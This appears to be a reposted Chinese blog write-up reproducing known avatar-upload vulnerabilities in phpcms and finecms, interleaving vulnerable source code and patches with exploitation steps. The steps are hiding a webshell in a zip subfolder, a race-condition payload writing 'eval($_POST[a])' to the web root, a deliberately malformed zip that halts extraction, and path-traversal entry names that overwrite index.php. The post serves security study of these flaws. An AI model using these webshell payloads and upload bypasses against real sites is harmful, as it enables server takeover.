赞
踩
本篇文章基于p神的文章进行一个学习复现,并了解了当年一些安全圈的事件。原文地址如下
回忆phpcms头像上传漏洞以及后续影响
不知道大家还记得phpcms曾经火极一时的头像上传漏洞不,因为这个漏洞,互联网上大量站点被黑,影响极为恶劣。简单来说phpcms对头像上传是这么处理:上传上去的zip文件,它先解压好,然后删除非图片文件。
关键地方代码:
<?php //存储flashpost图片 $filename = $dir.$this->uid.'.zip'; file_put_contents($filename, $this->avatardata); //此时写入压缩文件夹内容 //解压缩文件 pc_base::load_app_class('pclzip', 'phpsso', 0); $archive = new PclZip($filename); if ($archive->extract(PCLZIP_OPT_PATH, $dir) == 0) { die("Error : ".$archive->errorInfo(true)); } //568 行 //判断文件安全,删除压缩包和非jpg图片 $avatararr = array('180x180.jpg', '30x30.jpg', '45x45.jpg', '90x90.jpg'); if($handle = opendir($dir)) { while(false !== ($file = readdir($handle))) { if($file !== '.' && $file !== '..') { if(!in_array($file, $avatararr)) { @unlink($dir.$file); } else { $info = @getimagesize($dir.$file); if(!$info || $info[2] !=2) { @unlink($dir.$file); } } } }
根据他的代码的代码逻辑我自己搭建了相关环境,如图所示
第一次上传相关php代码
<?php header("Content-Type:text/html; charset=utf-8"); require_once('pclzip.lib.php'); $file = $_FILES['file']; if (!$file) { exit("请勿上传空文件"); } $name = $file['name']; $dir = 'upload/'; $ext = strtolower(substr(strrchr($name, '.'), 1)); //递归删除 zip 1 web.php function check_dir($dir) { $handle = opendir($dir); while (($f = readdir($handle)) !== false) { if (!in_array($f, array('.', '..'))) { $ext = strtolower(substr(strrchr($f, '.'), 1)); if (!in_array($ext, array('jpg', 'gif', 'png'))) { unlink($dir . $f); } } } } if (!is_dir($dir)) { mkdir($dir); } $temp_dir = $dir . 'member/1/'; if (!is_dir($temp_dir)) { mkdir($temp_dir); } if (in_array($ext, array('zip', 'jpg', 'gif', 'png'))) { if ($ext == 'zip') { $archive = new PclZip($file['tmp_name']); if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { check_dir($dir); exit("解压失败"); } check_dir($temp_dir); exit('上传成功!'); } else { move_uploaded_file($file['tmp_name'], $temp_dir . '/' . $file['name']); check_dir($temp_dir); exit('上传成功!'); } } else { exit('仅允许上传zip、jpg、gif、png文件!'); }
代码逻辑就是上传一个zip后,会新建一个目录进行解压缩,把解压缩后的文件进行一个判断,将图片格式以外的后缀文件进行删除。
我们来测试一下,直接将php代码和正常图片压缩成web.zip进行上传。
提示上传成功
进入服务端查看,根据我们的代码,会生成一个member/1的目录,发现我们上传的压缩包已经成功解压缩,但是php代码被删除了,只剩下图片
在这里插入图片描述
但是因为他没有递归删除,也没有删除文件夹,所以我们可以把webshell放在压缩包的文件夹中,即可避免被删除了。把图片和php代码放在一个文件夹中再进行压缩成web.php上传
上传成功
查看member/1目录,发现我们上传的文件夹中php代码未被删除,成功绕过。
这就是phpcms最早的头像上传漏洞。这个漏洞影响的不只是phpcms,也包括抄袭其代码的finecms。
finecms是一个很喜感的cms,在phpcms出问题以后,finecms偷偷将漏洞修复了,当然修复方法就是直接拷贝了phpcms的补丁。
后来finecms的开发者,自以为自己反应速度得当,在迅雷不及掩耳盗铃的时间内将phpcms的补丁抄了过来,然后就安然度过了半年的悠闲时光。但phpcms的补丁被绕过了无数次难道你不知道么?你这么屌你的用户们知道么?
那么,我们来看看finecms(phpcms代码类似)是怎么修补这个漏洞的:
<?php public function upload() { if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) { exit('环境不支持'); } $dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; // 创建图片存储文件夹 if (!file_exists($dir)) { mkdir($dir, 0777, true); } $filename = $dir.'avatar.zip'; // 存储flashpost图片 file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']); // 解压缩文件 $this->load->library('Pclzip'); $this->pclzip->PclFile($filename); if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) { exit($this->pclzip->zip(true)); } // 限制文件名称 $avatararr = array('45x45.jpg', '90x90.jpg'); // 删除多余目录 $files = glob($dir."*"); foreach($files as $_files) { if (is_dir($_files)) { dr_dir_delete($_files); } if (!in_array(basename($_files), $avatararr)) { @unlink($_files); } } // 判断文件安全,删除压缩包和非jpg图片 if($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file !== '.' && $file !== '..') { if (!in_array($file, $avatararr)) { @unlink($dir . $file); } else { $info = @getimagesize($dir . $file); if (!$info || $info[2] !=2) { @unlink($dir . $file); } } } } closedir($handle); } @unlink($filename);
好,我们看到,之前产生漏洞的原因就是因为没有考虑文件在文件夹中的情况,只删除了压缩包根目录下的非法文件,而没有删除其文件夹中的非法文件。
所以补丁就采用了递归删除的方式,将压缩包中所有非法文件删除。就是这个dr_dir_delete函数。
我们就不研究这个函数了,我们考虑一种情况,那么如果我上传包含这样代码的压缩包:
<?php fputs(fopen('../../../../../shell.php','w'),'<?php phpinfo();eval($_POST[a]);?>');?>
在文件上传解压到被删除这个时间差里访问,就能在网站根目录下生成新的php文件,那么新生成的php文件是不会被删除的。
这就是一个竞争性上传漏洞,需要我们抓住这个时间差,在上传的php文件还没被删除前访问到它,就能够暴力getshell了。
所以修改我们之前所搭建的环境,将php代码中的第一个function递归删除的函数替换成以下代码。
function check_dir($dir){
$handle = opendir($dir);
while(($f = readdir($handle)) !== false){
if(!in_array($f, array('.', '..'))){
if(is_dir($dir.$f)){
check_dir($dir.$f.'/');
}else{
$ext = strtolower(substr(strrchr($f, '.'), 1));
if(!in_array($ext, array('jpg', 'gif', 'png'))){
unlink($dir.$f);
}
}
}
}
}
这里使用了递归删除,所以上传文件夹不能绕过了,我们可以尝试测试一下。
上传后发现文件夹中只剩图片了,php代码被删除了,但是因为他这里上传文件夹后代码名字未修改,并且他是先上传再删除,所以存在一个时间竞争漏洞。我们可以尝试一下。
根据我们之前上传的路径为
http://127.0.0.1/xss_location/upload.php/member/1/1/web.php
他需要跳跃三次才能到达跟目录,所以我们的payload如下
<?php fputs(fopen('../../../payload.php','w'),'<?php phpinfo(); ?>');
用时间竞争型漏洞直接在根目录下写入我们的一句话木马,这样他递归删除只是删除当前文件夹的,不会检测根目录。尝试一下
打开burpsuit,上传1.zip并重发到Intruder模块中,准备模拟多次上传
设置访问次数为5000次
在抓取我们要访问的目录代码,上传到Intruder模块
payload设置成6000次
两个同时开始start attack。
但是由于可能是我用本机搭建的抓包的原因,导致用burp发包的方式文件显示上传,但服务端接收不到,但代码中肯定是存在这个时间竞争问题的,这里就不做演示了。
于是finecms意识到自己的问题,偷偷修补了这个安全问题。当时的他们是这样修复的:
<?php // 创建图片存储的临时文件夹 $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/'; if (!file_exists($temp)) { mkdir($temp, 0777); } $filename = $temp.'avatar.zip'; // 存储flashpost图片 file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']); // 解压缩文件 $this->load->library('Pclzip'); $this->pclzip->PclFile($filename); if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) { exit($this->pclzip->zip(true)); } @unlink($filename);
说起来这也是phpcms曾经的修复方法,就是将压缩包放在一个随机命名的文件夹中再解压缩,这样你猜不到访问地址也就没法去暴力getshell了。
但是实质上这也只是解决了一个芝麻小的问题,而真正出现漏洞的点他们并未进行修复。
我们看到这段代码:
<?php
if ($this->pclzip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
exit($this->pclzip->zip(true));
}
当解压发生失败时,就退出解压缩过程。
这也是一个很平常的思路,失败了肯定要报错并退出,因为后面的代码没法运行了。但是,程序员不会想到,有些压缩包能在解压到一半的时候出错。
什么意思,也就说我可以构造一个“出错”的压缩包,它可以解压出部分文件,但绝对会在解压未完成时出错。这是造成了一个状况:我上传的压缩包被解压了一半,webshell被解压出来了,但因为解压失败这里exit($this->pclzip->zip(true));
退出了程序执行,后面一切的删除操作都没有了作用。
怎么样构造一个解压会出错的压缩包,可以查看我的这篇文章
如何构造一个出错的zip
我这里使用php中的自带的ZipArchive库进行复现。首先将一个php代码和一个txt文本文件压缩成一个zip文件。
为了让ZipArchive出错,比如,Windows下不允许文件名中包含冒号(:),
我们就可以通过在010editor中将1.txt的deFileName属性的值改成“1.tx:”。
此时解压就会出错,但1.php被保留了下来。
尝试上传,提示fail to extract
查看服务端,发现php代码成功上传
ZipArchive相关代码如下
if ($ext == 'zip') {
$zip = new ZipArchive;
if(!$zip->open($file['tmp_name'])) {
echo "fail";
return false;
}
if(!$zip->extractTo($temp_dir)) {
//check_dir($temp_dir);
exit("fail to extract");
}
最后,finecms官网被p神日了之后,依旧无耻地说自己已经修复了这个漏洞,真稀奇。
最后更新的代码
<?php if (!isset($GLOBALS['HTTP_RAW_POST_DATA'])) { exit('环境不支持'); } // 创建图片存储文件夹 $dir = FCPATH.'member/uploadfile/member/'.$this->uid.'/'; if (!file_exists($dir)) { mkdir($dir, 0777, true); } // 创建图片存储的临时文件夹 $temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/'; if (!file_exists($temp)) { mkdir($temp, 0777); } $filename = $temp.'avatar.zip'; // 存储flashpost图片 file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']); // 解压缩文件 $this->load->library('Pclzip'); $this->pclzip->PclFile($filename); if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) { @dr_dir_delete($temp); exit($this->pclzip->zip(true)); } @unlink($filename);
加了行代码:@dr_dir_delete($temp);
,解压出错后,在exit前将已经解压出来的内容删除了。确实避免了我在0×03中说到的安全问题。
但finecms的开发者依旧是没有能看到真正造成这个漏洞的原因。
原因就出在解压压缩包的这个操作上。这个类你就把别人的代码拿来一抄就觉得完毕了,你知道这个类真正的用法么?大家猜猜我这次怎么绕过上诉补丁的。
压缩包中通常是不含有诸如“…/”、“…”这种文件名的,但通常不含有不代表不能含有。我如果把压缩包中某文件名改成…/…/…/…/…/index.php,是不是就能直接把你首页变成我的webshell呀?
这就是因为抄袭者并没有真正领悟zip这个类的使用方法,导致了这个安全问题。我在本地用notepad++即可修改、构造一个压缩包。
先把自己的shell改名字成aaaaaaaaaaaaaaaaaaaaa.php
之所以起这个名字,就是预留一些空间,方便我之后将文件名改成…/…/aaaaaaaaaaaaaaaaaaaaa.php而不用怕字符串长度不对。
把文件直接打包成zip,用010Editor打开:
修改成如图所示
然后就大功告成。
上传头像时抓包将刚才构造的压缩包贴进去:
然后,网站根目录下就会有你的shell了:aaaaaaaaaaa.php
通过这个方法,就能无限制地getshell
究竟是什么原因造成了这个漏洞,究其根本还是以为你将用户不安全的POST数据写入了文件,并解压到web目录下了。
世界上有无数种方法可以避免这个问题,web目录下随便写文件真的好吗?为何你不把压缩包放进tmp目录里,如果上传、解压缩的操作都能在tmp目录里完成,再把我们需要的头像文件拷贝到web目录中,还会有这么麻烦的安全问题吗?
phpcms已经彻底抛弃了解压缩的方式,直接在前端将图片处理完成后进行上传。但愚昧的finecms开发者还是抱着自己无知的思路,去用近乎“黑名单”的方式去解决这个问题,那就是黑客怎么日,他就怎么补,永远不知道下一步黑客会从哪里进入。这样的人永远只能落后挨打,这样的cms迟早会成为一个打满补丁的破布,每一个补丁都将付出无数速度与效率的代价。所以现在finecms已经被时代淘汰了
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。